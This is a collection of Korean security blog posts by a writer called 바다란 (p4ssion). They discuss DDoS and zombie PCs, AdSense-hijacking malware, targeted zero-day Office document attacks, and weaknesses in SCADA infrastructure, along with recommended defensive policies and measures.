근본적으로 DDos 대응의 과제는 이제 일반적인 PC 환경을 얼마나 클린하게 만들고 사전에 위험을 인지 할 수 있고 또 즉각적인 협력과 대응을 통해 피해를 최소화 할 수 있느냐 하는 점에 집중이 되어야 한다.

 

24시간이 지나면 몇 만대 이상의 웹서비스들이 자동화된 도구에 의해 해킹을 당하고 악성코드를 유포하는 상황에서 좀비 PC의 확보는 더 이상 어려운 일도 아니고 너무나도 쉬운 과제임에는 명확하다. 근본적으로 악성코드가 손쉽게 퍼지는 환경을 개선하는 것이 가장 시급한 과제이며 대응장비의 증설과 대응인력의 확대는 눈 앞의 위험만을 피하고자 하는 대책일 뿐이다. 근본 환경의 개선은 현상적인 문제가 드러난 7.7 이후 달라진 점은 없다고 본다.

 

앞으로도 근본 환경의 개선 없이는 사태는 점차 심각한 국면으로 진입 할 수 밖에 없을 것이다.

다음 컬럼에는 Mass sql injection에 대한 컬럼을 게재할 예정이다.

 

* 좀 더 상세한 자료 및 관련 발표 자료는 블로그에서 찾을 수 있습니다.

http://p4ssion.tistory.com/entry/에스토니아-77-DDos-그리고-미래

http://p4ssion.tistory.com/attachment/cfile10.uf@165F670E4C16F178AE44ED.pdf  <- 발표자료

twitter:  @p4ssion

Posted by 바다란

 

외신 관련 기사 ( Google Adsense 관련된 웜 이슈)

http://news.zdnet.co.uk/security/0,1000000189,39291643,00.htm

 

http://www.bigmouthmedia.com/live/articles/googles-adsense-threatened-by-trojan.asp/4321/

 

전자신문 기사.

http://www.etnews.co.kr/news/detail.html?id=200712210129

 

바다란 입니다..

 

오랜만에 뵙습니다.

지난번 마지막 글 (http://blog.naver.com/p4ssion/50024269739 )에서 IT 서비스 보호를 위한 제안 방안에서 서비스 보호를 위해서는 전역적인 대응체제 구성이 필요하다는 의견을 드렸습니다. 그 필요성이 가장 필요한 케이스가 구글에 나타났습니다. 이른바 Service Hijacking 이라고 할 수 있겠네요.

 

개인 PC에 상존하는 웜들이 자체 전파를 하면서 Adsense를 바꿔치기하고 광고수익을 가로채는 유형인데 위의 기사에 언급 되었듯이 구글의 지대한 매출액과 순이익의 비밀에 40% 가량 기여를 하고 있는 Adsense 부분이 유명무실화될 위기에 처했다고 볼 수 있습니다. 최근에 보안업체에 의해 발견이 된 악성코드 이며 시작은 언제인지 파악하기 어렵습니다. ( 그 이야기는 그동안의 피해산정도 어렵다는 의미이며 통계화 하기도 불가능하다는 이야기와 동일합니다.)

 

IT 서비스 기업에서 가장 중요한 부분은 신뢰성입니다. A B간의 관계에 신뢰성이 존재하여야 거래가 이루어 지는데 이 신뢰 자체가 깨어지게 된 것이죠. 기업과 서비스 간에 있어서 그 동안의 보호의 개념이 자사의 서비스에 대한 보호 관점에서 사용자의 PC에 대한 보호 관점으로 옮겨 갈 수 밖에 없다고 하였고 국내는 이미 2005년 말 게임 부분에 대해 게임에 대한 악성코드를 제거하는 전용백신 및 다양한 온라인 보안 서비스들이 부가 되면서 시작 되었으나 해외 부분은 전혀 그렇지 못했습니다.

 

위의 이미지는 올해 9월의 Item 거래 업체에 대한 DDos 공격 이후에 개념도를 확장한 내용입니다. 개별 서비스 단위까지 영향을 미칠 수 있고 조금만 더 생각을 해보면 구글과 같은 모델에 대해서는 손쉽게 공격이 가능합니다. 국내를 공격한 조직 정도의 기술레벨이라면 충분히 더 큰 규모를 노릴 수도 있는 것이 정답입니다.

최종 단계에서 보듯이 사용자에게 유포된 악성코드를 이용하여 국내에서는 DDos  공격에 이용하였지만 이 내용만 Adsense의 내용으로 바꾸면 될 문제입니다. 그리 어렵지 않게 전환이 가능합니다.

 

 

IT 서비스 부분에 있어서 Security 관련된 위협이 회사의 명운을 걸 정도로 치명적이다라는 것을 인지 못했다고 보는 것이 정확할 것입니다. 나름대로 보안 부서를 정리하고 신규로 만들면서 다양한 서비스 부분에 대해서 구글은 노력했으나 이제는 전방위적인 노력을 해야 할 것 같습니다. 그렇지 않다면 구글의 서비스 모델 자체가 무너질 수도 있는 위기라고 할 수 있을 것 같습니다.

 

아래의 이미지는 공격자들의 기술 발전 좌표입니다. 최근에 제가 갱신한 내용입니다. 이제는 웹을 통한 자동화된 유포 단계에 까지 이어져 있습니다. 아직 구글의 사례가 어떤 케이스인지 정확한 분석은 안되었으나 기사에 나온 현황들로만 유추해 볼때 아직까지 최종 단계까지는 인식을 못하는 것으로 보입니다.

 

 

최근의 동향은 공격자들의 기술수준도 매우 높아졌습니다. 자동화된 도구에 특정 서비스에 특화된 공격들도 함께 붙여진 상태이며 위험 수위가 높다고 할 수 있습니다.

 

앞으로의 구글의 대응은 어떻게 될까요?.

예상하자면.. ( 구글이 살기 위해서라면 )  온라인 보안 서비스(Adsense를 위협하는 악성코드의 제거) 도입 또는 무료백신 서비스의 전세계적인 확장 이외에는 대안이 없을 것입니다.  구글팩에 이미 백신이 포함 되어 있지만 이것은 사용자의 편의를 위한 것이고 이제는 서비스의 생존을 위해서 필요한 부분입니다.

 

이미 발전 방향으로 보았을때 지난해 부터 예견이 된 문제이고 이제서야 나타난 것 뿐입니다.

 

IT 서비스는 불완전 합니다. 다만 완전에 가까울 수 있도록 지속적인 노력을 꾸준하게 하여야만 합니다.

이것을 하기 위해서는 현상에 대한 지속적인 관찰과 예상을 통해 작은 단서를 통해 향후 나타날 수 있는 Risk를 예상 할 수 있어야 하고 조기에 준비를 하여야만 합니다. 그렇지 않으면 세계적인 서비스는 위험에 처할 수 밖에 없습니다.

 

전 세계적으로 기술적인 보안과 Provisioning이 중요시 되고 방향성이 제시 되지 않는 IT 서비스 기업의 생존은 앞으로 험난할 것입니다.

 

 

이미 예견된 문제입니다. 벌써 예견이 된 문제..

 이제는 국내의 무료백신 경쟁과는 관계없이 세계적인 모델이 먼저 나올 것 같군요.

 

 

보안업체의 생존은 고민들 많이 하시겠지만 서비스별로 특화된 방안을 가져 가야만 할 것입니다. 특화하기 위해서는 정보 수집과 연구에 많은 노력이 있어야 되겠지요.  그동안 새로운 접근에 대한 사고와 노력이 부족하여 앞으로 상당기간 어려움이 있을 것 같습니다. 국내업체뿐 아니라 전 세계 보안업체 모두 새로운 위협에 대한 대응은 여전히 인지단계라고 볼 수 밖에 없을 것 같습니다.

 

 좋은 연말연시 되십시요.

 

* 앞으로 언제까지가 될지 모르겠으나 블로그에 많은 포스팅을 하게 될 것 같습니다. 생각 나는대로 올릴 수 있도록 하겠습니다.

 

 

Posted by 바다란

바다란입니다.

 

8월이 다 가고 있습니다. 시간은 흐르고 issue도 변화하고 있습니다. 그러나 올해 초에 예상 했던 근본 취지에서는 아직 벗어나지 않고 있습니다. 주요 이슈는 무엇이고 지금에 발생 하고 있는 세계적인 이슈들과 어떤 관계가 있을까요?

 

 

 

올해 초에 Web 2.0 관련된 보안 이슈들을 전망하고 향후 예측을 한 큰 주제는 네 가지 입니다. 한 가지 더 세계적인 추세(?)라고도 볼 수 있는데 정보 유출의 수단으로 Office 계열의  문서에 Zeroday 공격코드를 심은 사회공학적인 해킹의 증가도 추가 할 수 있겠습니다. 물론 Application에 대한 공격 증가로 포함 시킬 수 있는 범주이지만..~ 

 

1. Application에 대한 공격 증가

2. Ubiquitous Attack

3. 특정 서비스에에 대한 공격

4. Various platform attack

 

위의 네 가지 이슈를 향후에도 지속될 위협이라고 전망 하였습니다. 가장 큰 이슈는 Application에 대한 공격의 일반화 라고 할 수 있습니다. 다양한 플랫폼을 공격하는 유형도 Application이 그 중심에 있기에 가능한 것입니다. 또한 Application은 특정 서비스에 종속 되는 형태이고 유/무선을 가리지 않고 발생 하므로 Ubiquitous Attack이 됩니다.

 

크게 Application Attack과 관련하여 나타난 큰 흐름은 IE에 대한 공격 ( 사용자 정보 유출을 위한 트로이 목마기능 - BHO 사용),Zeroday 악성코드가 포함된 MS Office Attack, Opera에 대한 공격( Apple)을 들 수 있습니다. Opera의 경우에는 유무선 장비에서 사용이 되도록 되어 있어서 iPhone은 물론 Mac까지도 관통하는 Application이라 할 수 있습니다. Virus의 경우에도 Application의 취약성을 이용한 바이러스도 증가를 하고 있습니다. 무차별적인 유포를 위한 바이러스가 아닌 특정 대상에만 한정된 특화된 Zeroday attack을 시도하고 있습니다.

 

 

##########1*

<source kaspersky lab>

 

그렇다면 최근 기사화된 내용을 보면서 살펴볼까요?

 

http://www.etnews.co.kr/news/sokbo_detail.html?id=200708240054

 

몬스터 닷컴의 개인정보가 유출 되었다는 기사입니다. 기사에는 자세히 나오지 않았지만 사후 대응의 한계를 느낄 수 있는 기사입니다. 여기에 나오는 트로이 목마 바이러스 유형은 알려진 바이러스 유형이 아닐 것입니다. 추측성 기사로 임원의 로그인 정보를 알아내어서 내부를 유출 하였다고 하나 전체적인 측면으로 보면 몬스터 닷컴의 해킹 가능성 및 BHO (Browser Helper Object) 와 같은 유형의 IE Plugin 형식으로 메모리 상의 키입력 값을 가로챘을 가능성이 높습니다. 또 한가지 가능성은 Office 계열의 문서에 악성코드( 대부분 Zeroday)를 넣어서 특정 대상자들에게만 받도록 하고 원격에서 컨트롤 하도록 하였을 수도 있습니다.  이 경우에는 몬스터 닷컴의 운영진들이 단체 메일을 받았을 가능성이 높습니다.

 

 

http://news.kbs.co.kr/article/world/200708/20070826/1414392.html

 

독일의 주요 정부부처의 PC에서 악성코드가 발견 되었다는 내용입니다. 물론 초기 발견도 매우 어려웠을 것으로 예상 됩니다. 최근의 악성코드는 운영체제와 하드코어한 형태의 결합이 이루어 지는 형태라서 발견 하기가 매우 어렵습니다. 국가간에 이루어지는 집중적인 첩보전이 이제는 일반적으로 사이버 상에서 이루어 집니다. 모든 문서및 정보들은 파일 형태 혹은 data의 형태로 컴퓨터에 보관 되고 있어서 더욱 집중적인 공격의 대상이 됩니다. 물론 전자정부 비율이 매우 높은 대한민국의 경우에도 상상하기 힘들 정도의 위협에 시달리고 있다고 보는 것이 정답일 것입니다. 이 경우에도 zeroday 악성코드 (Office 계열 - Word ,ppt , excel )를  통한 특정 대상자 침입과 확산이 이루어 졌을 것으로 보입니다. 기사화가 될 정도라면 매우 많은 수의 위험 시그널이 있었다는 것이죠. 물론 이면에 보이지 않는 침입과 사실은 엄연히 많을 것입니다. 드러나는 것은 거대 빙산의 아주 조그마한 꼭지 정도일뿐.

 

 

해외의 경우에도 SSL을 이용한 전송 단계의 암호화는 신경을 씁니다만.. 하드웨어 인터럽트와 BHO 영역의 보호에는 미비한 것이 사실입니다. 또한 백신의 경우에도 발견된 단계에서 처리를 할 수 밖에 없음에 따라 알려진 유형 이외에는 처리가 안됩니다. Heuristic method (경험적인 위험요소 진단)의 경우에도 오진 발생 가능성 및 신규 유형에는 무기력한 면이 있습니다. 머지 않아 해외에서도 키입력의 보호와 사용자의 정보 유출 방지를 위해 다른 방안들이 많이 출현하겠죠. ( 생체인식과 같은 부분이 아마 활발한 것도 유사한 위험인식 때문일 것 같습니다.)

 

그리고 특정 대상에게만 현혹할 만한 문구의 Office 문서를 전달 할 경우의 성공률은 매우 높은데 이런 경우에 대한 처리는 공개적으로 발생하는 상황이 아니며 제한적으로 발견 되는 상황이여서 백신을 통한 대응은 상당히 어려운 측면에 들어 갈 수 밖에 없습니다. 샘플 수집이 안되는 한 AV 벤더에서의 처리는 불가능한 상황입니다.

 

 

http://www.etnews.co.kr/news/sokbo_detail.html?id=200708270151

 

iphone에 대한 해킹도 현재 세계적으로 이슈화가 되고 있는데 이 부분은 code reversing과 관련된 내용이라 할 수 있습니다. iphone을 구동하는 OS 및 Application에 대해 다양한 보호조치가 취해졌을 것이나 이 보호 단계를 깨고 리버싱을 한 이후 코드를 조작하는 기법들을 통해 특정 기능의 변경이 이루어 지도록 한 것이죠. 여기에서는 AT&T의 통신망 과 제한적으로 연결 되도록 한 부분을 다른 통신망과도 연결이 되도록 구조를 바꾼 것이라 할 수 있습니다. 조금 더 보면 일단 AT&T와 제한을 하는 부분을 깨고 그 이후에 인증 및 다른 여러가지 요소를 받아야만 가동되도록 하는 부분을 무력화 시켰을 것으로 보입니다. 일정 수준 이상의 능력자들에게 시간만 주어진다면 가능한 일이라 할 수 있습니다. Application에 대한 분석과 공격은 계속 됩니다. 그리고 플랫폼을 넘나드는 공격은 Application을 통해 손쉽게 이루어 질 것입니다.

 

8월에 발생된 주요한 World wide issue는 이 정도 선에서 정리가 될 수 있을 것 같습니다. Application에 대한 Attack이 치밀해 졌고 Zeroday 악성코드를 이용한 사회공학적 (Fake)인 해킹이 국가단위에 까지도 영향을 미치는 정보전으로 격상이 되었으며 세계적인 이슈가 되고 있는 상황입니다. 서비스 부분에 미치는 영향은 말할 것도 없구요. ^^;  물론 앞으로도 지속 됩니다. 계속

 

앞서 말씀 드린 4가지 주요 이슈는 앞으로도 지속될 것입니다. Application에 대한 공격은 향후 더 치밀해 지고 더 적극적으로 나타날 것이고 종래에는 전체 IT 서비스의 방향성을 조금씩 바꿔 나갈 수도 있을 것 입니다. 조금 더 강해지고 조금 더 악랄해 지고...

 

대안은?.. 글쎄요.

꾸준한 노력과 신경질적이라고도 할 수 있는 체계의 구축과 모니터링, 집요함, 인내, 노련한 전문가  정도로 축약이 됩니다만. 정리 하고픈 생각이 든다면 전체적인 방안을 정리해 보도록 하겠습니다.

 

좋은 삶 되십시요.

 

- p4ssionable security explorer 바다란

Posted by 바다란
 

바다란 입니다.  색이 다른 부분은 전부 2002년의 공개 문서의 내용을 발췌한 내용입니다. ^^

 

 

<http://movie.naver.com/movie/bi/mi/photo.nhn?code=40133&mb=c&page=1#ps 참고>

 

항간에 다이하드 4.0의 직접적인 해킹 이슈가 화제가 되고 있습니다. 이미 여러 게시물들에서 관련 내용이 언급 되어 추가적인 언급이 불필요한 상황이 되었습니다만 전체적으로 어떤 이슈들이 있는지 살펴 보는 것도 의미 있는 일이 아닐까 생각 됩니다. 지금에 이르러서는 이러한 공격 유형 들이 실제적으로 피해를 입힐 수도 있다고 봅니다. 그렇다면 대응방안은 무엇이고 무엇을 고려해야 하는지에 대해서도 알아야 된다고 생각 됩니다.

 

영화상에서 보면 주요 기반시설(에너지 ,전력 ,교통)에 대한 통제가 나옵니다. 이게 불가능한 것이냐? 그렇지 않다고 봅니다.

간단한 예들도 이미 존재하고 있으며 그만큼 위험한 상황속에서 ( 몇몇만 인지하는 위험) 불안한 안정상태를 유지하고 있다고 봅니다.  실제로 IT화로 집중화된 통제방안을 도입하여 운영할 경우 영화상에서 나온 위험에 직접 노출이 될 수도 있다고 봅니다. 별도의 네트워크망이라 하여도 어딘가에는 연결이 가능한 접점이 존재하고 사용자의 PC를 공격하던 어떤 유형이든 접근 가능한 경로가 존재 할때에 반드시 발생될 문제입니다.  예전의 간단한 기반시설의 위험에 대한 예를 들면 다음과 같습니다.

 

침해사례

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1.Counterterrorism analysts have known for years that terrorists often prepare for attacks with elaborate "targeting packages"of photographs and notes. But, in January, U.S. forces in Kabul, Afghanistan, found something new. A computer seized at an al Qaeda office contained models of a dam, made with structural architecture and engineering software, that enabled the planners to simulate its catastrophic failure. Bush administration officials, who discussed the find, declined to say whether they had identified a specific dam as a target. The FBI reported that the computer had been running Microstran, an advanced tool for analyzing steel and concrete structures; Autocad 2000, which manipulates technical drawings in two or three dimensions; and software "used to identify and classify soils,"which would assist in predicting the course of a wall of water surging downstream. To destroy a dam physically would require "tons of explosives,"Assistant Attorney General Michael Chertoff said a year ago. To breach it from cyberspace is not out of the question.

http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&node=&contentId=A50765-2002Jun26&notFound=true

 

지난 아프가니스탄 전쟁 중 알카에다의 기지로 보이는 곳에서 알카에다 조직원의 소유로 보이는 노트북에서 cyber terror에 이용될 수 있는 소프트웨어와 댐의 모형물을 발견했다. 노트북에서 발견된 소프트웨어는 금속과 콘크리트 구조물을 분석하기 위한 툴인 Microstran 프로그램과 댐의 모형을 2D, 3D 형태로 구축하여 가장 피해를 많이 입히기 위한  물의 흐름을 예상하기 위해 사용한 autocad 2000 프로그램을 발견 하였다. 실제 댐을 폭파 시키기 위해서는 수백톤의 폭약과 삼엄한 경계를 뚫어야 하는 위험 부담이 있었지만  Cyber 에서는 그럴 필요가 없었다.  이 사건을 계기로 지난 9월 경에 발표된 미 대통령 직속의 기반시설 보호팀에 의해 중요기반시설에 대한 보안책을 발표 하게 된 계기로 볼 수 있다.

 

 

2. In 1998, a 12-year-old hacker, exploring on a lark, broke into the computer system that runs Arizona's Roosevelt Dam. He did not know or care, but federal authorities said he had complete command of the SCADA system controlling the dam's massive floodgates. Roosevelt Dam holds back as much as 1.5 million acre-feet of water, or 489 trillion gallons. That volume could theoretically cover the city of Phoenix, down river, to a height of five feet.

http://www.itsa.org/ITSNEWS.NSF/4e0650bef6193b3e852562350056a3a7/3f141fc26dcebd5a85256be600617016?OpenDocument

 

1998 12세의 해커는 장난 삼아  애리조나의 루즈벨트 댐의 컴퓨터 시스템에 침입을 했다. 연방기관은 12세의 해커는 댐의 수문을 조종하는 SCADA system에 대한 완전한 제어 명령을 알고 있었다고 발표했다.  루즈벨트 댐은 489조 갤런의 물을 담고 있었으며  이정도의 양은 400만 이상이 살고 있는 피닉스 시티와 그 일대를 5 피트 정도의 높이로 덮고 흐를 수 있는 양이다.

 

 

3. In Queensland, Australia, on April 23, 2000, police stopped a car and found a stolen computer and radio transmitter inside. Using commercially available technology, Vitek Boden, 48, had turned his vehicle into a pirate command center for sewage treatment. Boden's arrest solved a mystery that had troubled the area's wastewater system for two months. Somehow the system was leaking hundreds of thousands of gallons of putrid sludge into parks, rivers and commercial properties. Until Boden's capture -- during his 46th successful intrusion -- the utility's managers did not know why. Specialists in cyber-terrorism have studied Boden's case because it is the only one known in which someone used a digital control system deliberately to cause harm.

http://www.theregister.co.uk/content/4/22579.html

 

앞의 1,2 번 예는 실행 되기 전의 예이지만  호주의 퀸즈랜드에서 2000 4월에 발생한 사건은 실제적인 SCADA 시스템에 대한 침입으로써 중요한 사례를 제시하고 있다.

 훔친 컴퓨터와 무선전송기와 자동차를 전송매개체로  사용하는 방법을 이용하여  폐기물 처리 회사의 자동화된 시스템을 제어하여 호수와 공원 , 상업지역외에 여러 곳을 오염시킨 혐의로 체포 되었다. 체포되기 이전까지  2달 동안 40여회 이상의 침입을 하여  폐기물을 싣고 가는 차량을 제어하여 폐기물을 쏟아 붓도록 만들었는데 시스템 관리자는 이런 침입 사실 조차도 몰랐다고 한다.  이 경우는  성공한  제어시스템에 대한  첫번째 공격으로 기록되어 있으며 앞으로 많은 사건들이 일어날 가능성을 예고하고 있다.

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추가적으로 4번의 예를 들면 올해들어 발생된 에스토니아의 경우를 들 수 있습니다.

http://www.hankyung.com/news/app/newsview.php?aid=2007062556301

소국이다 보니 전체적으로 IT화 비율이 높았는데 대규모 DDos 공격으로 몇 주간 모든 상업 및 경제 활동이 전면마비 상태로 돌입된 기사입니다. 미국의 국토안보부나 FBI에서 분석인력을 파견한다는 기사도 있었습니다.

 

위와 같은 샘플 케이스들이 이미 존재하고 있습니다.  7~8년 전의 상황에서도 이미 문제들이 발견 되었는데 그 동안의 IT 기술의 발전은 전 사회의 영역에 영향을 크게 미치고 있습니다. 변화상도 많고 다양할 것이고 지금에 이르러서는 샘플 케이스 보다 더 심각한 상황들이 다수 나타날 수 있을 것 같습니다.

 

영화에서 나타난 전체적인 컨트롤은 현재 상태에서는 불가능 하나 일부 부분적인 문제들은 나타날 수 있다고 봅니다. 단 환경의 변화에 따라 중앙통제가 일반화될 경우에는 문제의 양상이 달라질 것이고 실제화된 위협으로 나타날 수 있습니다.

 

기반시설을 통제하는 장비들은 일반적으로 DCS SCADA라는 용어로 총칭을 합니다. 예를 들면 Embedded Platform을 사용하는 장비라고 볼 수도 있을 것입니다.  ( DCS: Distributed control system , SCADA: Supervisory Control And Data Acquisition )  영화에 나오는 시설물에 대한 제어는 하위에 존재하는 DCS SCADA를 통제하는 상위 기능에서 사용하는 패널들을 주로 보게 됩니다.

 

기반시설을 통제하는 장비에 대해서 일반인들이 가지는 오해는 다음과 같은 오해가 있습니다.

 

오해

 

1.      제어시스템은 물리적으로 분리된 독자적 네트워크 상에 존재한다

 

일반적으로 분리된 독자적 네트워크 상에 존재하는 것은 사실이다. 그러나 아주 적게나마 원격에서 접속이 가능한 지점이 존재하고 기업정보시스템과의 연동의 필요성으로 인해 통합된 지점이  거의 존재한다.

 

2.      SCADA 시스템과  기업정보 시스템과의 연결에는  강한 접근제어 정책으로 보호되고 있다.

 

대부분의 경우에 SCADA시스템은 방화벽과 보호장치가 이중으로 되어 있는 구조 이나 정보시스템으로부터 혹은 외부로부터 접속이 가능한 몇몇 개의 접속지점이 반드시 존재한다. 중대사고 발생시의 Hot Line 혹은 외부에서 연결을 통한 연결지점, 정보시스템에서 정보의 활용을 위해 제어시스템과 연결이 되는 부분이 반드시 존재한다.

 

3.      SCADA 시스템을 운용하기 위해서는 특별한 지식이 필요하며 침입자가 접근하고 제어하기가 어렵게 만든다.

 

SCADA 시스템의 운영에 사용하는 소프트웨어나 제어장치에 대한 매뉴얼은 이미 전체의 70프로 이상이 인터넷 상에 공개가 되어 있다.  그러므로 이전과 같이  정보가 없어서 지식을 획득하지 못하는 일은 없다.  SCADA시스템을 제작하는 회사는 사후지원과 Update등을 위해 인터넷을 통해 다운로드 받는 형태로 매뉴얼을 제공하는데 이를 통해 충분한 지식의 습득이 가능하다.

 

위의 3가지 경우가 일반인들이 가지는 오해라고 할 수 있습니다. 인터넷이 활발하게 보급 되기 이전에야 별도의 Protocol과 외부와 격리된 구조에서 드러날 문제는 내부자에 의한 문제 사례외에는 없었으나 이제는 외부로 부터도 안전하지 못하다고 볼 수 있습니다.

 

그렇다면 SCADA & DCS로 구성되는 기반시설 운영시스템들의 문제점은 무엇이 있을까요?

 

 

l기반시설 취약성   

 

대표적인 취약성 항목은  항목별로 보면 다음과 같다.

 

l취약한 접근제어

l취약한 인증모드

l부적절한 서버간 혹은 시스템간의 트러스팅

l보안에 취약한 소프트웨어의 사용

l보안이 고려되지 않은 빈약한 시스템의 설계

l적당하지 않은 백업시스템의 사용

 

 

영역으로 나누어 보면 다음과 같이 나눌  있다.

 

-일반적 보안취약성:

 

1.      Web site  외부 공개된 시스템의 경우 침입자에게 회사구조  이름, 이메일 주소, 정보시스템의 이름과 같은 다양한 정보를 제공하고 있다. 사회공학적인 해킹에 의한 침해  개인정보를 이용한 해킹과 바이러스 공격을 당할  있다.

 

2.      DNS Server  Zone-Transfer 허용하는데 IP  서버명 , 이메일 정보를 제공하게 되면  Transfer  가능한 구조로 이루어져 있으므로 획득한 정보를 이용하여 변경이 가능할  있다. 웹사이트를 통하거나 사회공학적인 해킹을 통해 획득한 정보를 이용하여 공격 당할  있다.

 

 

-안전하지 않은 네트워크 구조:

 

1.      FTP, WEB , Mail Server 설정이 부적절하거나 불필요하게 내부정보망에 대한 접근을 허용하는 경우 침해가능성이 존재한다.

 

2.      파트너나 시스템 제작업체와의 네트워크 연결이 방화벽, IDS , VPN 등을 사용하지 않아서 안전하지 않을 경우 우회공격을 통한 침해가능성 존재

 

3.      원격에서 접속하는 다이얼업 모뎀 연결이 불필요하게 허용이  경우

 

4.      서로 다른 네트워크 세그먼트 사이에 분리가 되어 있지 않아서 방화벽이나 네트워크 연결의 통제가 내부적으로 이루어 지지 않을 경우의 취약점

 

 

-실시간 모니터링의 부족:

 

 

1.      많은 네트워크 장비를 이용하다 보니 과다한 로그 발생으로 인하여 중요 정보를 확인하기가 어렵다.

 

2.      IDS  존재하여도  보안관리자는 개별적인 공격만 인지함으로써 종합화 되거나 복잡화된 공격을 인지하지 못하여  위험여부를 판별하지 못한다.

 

 -최근 SCADA 제어 시스템의 변화경향:

                  

1.      User Interface 위해 VB, 델파이 등의 RAD 툴로 개발되는 경향이 많으며 데이터 연결을 위해 ODBC 인터페이스를 이용하는 경우가 많다.

A.     해커나 공격자들이 쉽게 익힐  있다.

2.      기업 정보시스템에 일정부분 연결이 가능하도록 TCP/IP 망을 기본적으로 지원한다.

A.     일반화된 프로토콜이므로 쉽게 접근이 가능하다.

 

전체적인 범주로 보았을때 위의 항목과 같은 문제점들을 가지고 있습니다. 또한 지금에 이르러서는 외부에서의 통제 및 접근 할 수 있는 경로 자체가 더욱 다양해 짐으로 인해 문제는 더 심화 되었다고 보는 것이 정답입니다.

 

 

생활을 영위할 수 있게 해주는 기반시설들에 대한 보안을 위해서는 무엇이 필요할까요?

전체적으로 안정성을 높여주고 위험 포인트를 줄여주는 작업이 진행 되어야 하고 모니터링에 대한 방안이 필요합니다. 보안성 검수 (하드웨어 및 소프트웨어)도 필수적인 부분이 될 것 입니다.

 

대책 방안:

 

SCADA 시스템의 구축 시에 고려해야  사항.

  

1.      현재까지의 관리나 제어 시스템은 폐쇄 환경에 맞추어서 개발이 되어 있으므로 접근제어  인증에 대한  고려가 되어 있지 않다.

현재의 구축 환경은 폐쇄 환경으로 구축되는 경우는 예외적인 경우에만 구축이 되도록 빠르게 변하고 있다.

 

2.      RTU  IED  IP 통신을 지원하는 형태로 변경이 되어가고 단순한 기능에서 점점  많은 기능을 포함해서 복잡해져 가고 있다. 이에 따른 보안구조도 변경 되어야 하나 이에 따른 고려사항은 부족한 현실이다.

 

RTU: remote terminal unit

IED: Intelligent Electronic Device

 

3.      새롭게 나오고 있는 Device Protocol ( ex . UCA /MMS & DNP )  보안기능을 가지고 있고 보안 속성을 지원하는지 여부를 확인

 

OSI 모델을 지원하며 네트워크 연결을 가능하게 해준다.

UCA: Utility communication  Architecture

MMS: Manufacturing Message Specifications

DNP: Distributed Network Protocol

  

4.      Legacy 시스템과의 연결이 필요하므로  보안의 범위를 Legacy 시스템과의 연동까지도 고려하여 구축이 되어야 한다.

  

5.      실시간 정보 제공을 위해 예측 못한 요구 사항이 생길  있으므로 기반구조 설계 시에는  실시간 정보의 제공을 위한 새로운 요구사항과 이에 따른 보안 사항을 다루도록 고려 되어야 한다.

 

6.      침입 탐지 시스템은  제어 Utility Protocol  이해   없다는 것을 알고  보안 구조가 고려 되어야 한다. TCP/IP 망이 아닌 PLC 라인을 이용하여 제어명령이 내려 지므로  침입탐지 시스템에서 찾아내는 패턴과 일치하는 패턴을 찾을  없으며 탐지도 불가능한 형태이다.

 

공개문서에 기술된 보안 강화 대책은 여전히 유효하고 앞으로도 일정기간 유효할 가이드라 할 수 있을 것이다.

 

Security Plan

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Security Policy

 

1.      Cyber Terror Cyber war   대비하여 국가단위의 기반시설 보호 기구 설립

2.      미래 발생 가능한 바이러스 및 해킹에 대한 연구

3.      기반시설에 대한 외부 접속지점의 최소화 및  엄격한 관리 및 보안정책 필요.

4.      기반시설의 외부 정보 제공 부분이나  연결지점의 엄격한 관리

5.      기반시설 제어 시스템을 원격에서 직접 제어 시스템에 접근을 하지 못하도록 정책 설정

6.      기반시설과 연결된 내부 사용 PC와 서버군에 대한 바이러스 및 해킹 대책 완비

7.      내부 사용자에 대한 보안교육강화 및 보안 조직 강화

8.      기반시설 시스템 제작 업체에서의 원격지원 최소화

9.       기반시설 제어시스템 내의 원격접속 허용여부 검사

10.  기반시설 제어 시스템에 대한 대외 정보 유출 금지

11.   솔루션 도입시의 보안 방안에 대한 철저한 검토

 

Security Technic

 

 

n        외부 접속이 필요할 경우의 엄격한 제한 및 권한제어 필요

n        DMZ 내의 시스템에 대한 보안강화 뿐 아니라 내부망에 대한 자체 보안성을 높일 것을 권고

n        VPN 의 사용 뿐 아니라 서버자체에 대한 무결성 도구를 이용하여 보안을 높일 것

n        내부망에 대한 접속 경로의 최소화와 모니터링 집중도 높일 것을 권고

n        이메일의 암호화 및 파일 및 디렉토리에 대한 Locking 을 강화할 것

n        정기적이고 철저한 보안성 검사 및 취약성 점검을 수행할 것

n        SCADA 장비의 비 정상적인 움직임이 나타나는 경우의 제어방법 강구 및 모니터링 방안에 대한 고려

          

Virus :

1.      알려지지 않은 바이러스 의 침투에 대해 대비할 수 있도록 Anomaly Detection 이나 Heuristic Logic 을 적용한  방어책이 가능하도록 대비

2.      파일의 다운로드나 첨부파일 오픈시에 무조건적인 주의를 기울이며 바이러스 엔진의 가동이 필수적임

3.      이메일 전체에 대해 메일 필터링 Gateway 등을 설치하여 걸러서 받도록 설정

4.      웹 컨텐츠에 대한 검사를 수행하여 위험요소의 적극적인 차단

 

해킹

A.       IDS  , Firewall ,  Router 등의 보안 장비에 대한 종합적인 로그 진단

B.       수많은 로그에서 중요 침입 정보만을 필터링 할 수 있는 고급 ESM 의 도입이 필요

C.       주기적인  취약점 점검 및 검사

D.       해킹을 당한 후에도 피해가 최소화 되도록 전문적인 정보보호 구조의 설계 및 구현

E.       전문화된 인력이 없을 경우 신뢰할 수 있는 기관이나 국가설립 기관에서 Managed Security를 시행

F.       해킹관련 보안 전문가의 확충

 

Security for Future

 

 

보안 전문인력의 확충 및 능력을 향상 시켜야 되며 거시적인 안목에서 국가 안보를 생각 하고 대책을 수립해야 하는 시점이 아닌가 생각한다. 다음세대를 좌우할 보안제품의 안목을 거시적인 안목으로 설계하고 구현하도록 조언하는 전문가 집단 혹은 능력을 지닌 인력들을 양성해야 되며 이와 같은 인력과 조직을 통해 미래 발생 가능한 위협에 대한 분석과 대처 능력을 향상 시키는 것이 우선시 되어야 할 것이다. 인터넷 인구의 비율과 초고속 망의 일반화 또 무선인터넷의 활용도가 높아 지고 있는 시점에서 당장 수익이 나지 않는다는 이유 만으로 보안부문을 등한시 할 경우 많은 문제점을 가질

수 있음을 인식하고 노력하여야 할 것이다.

 

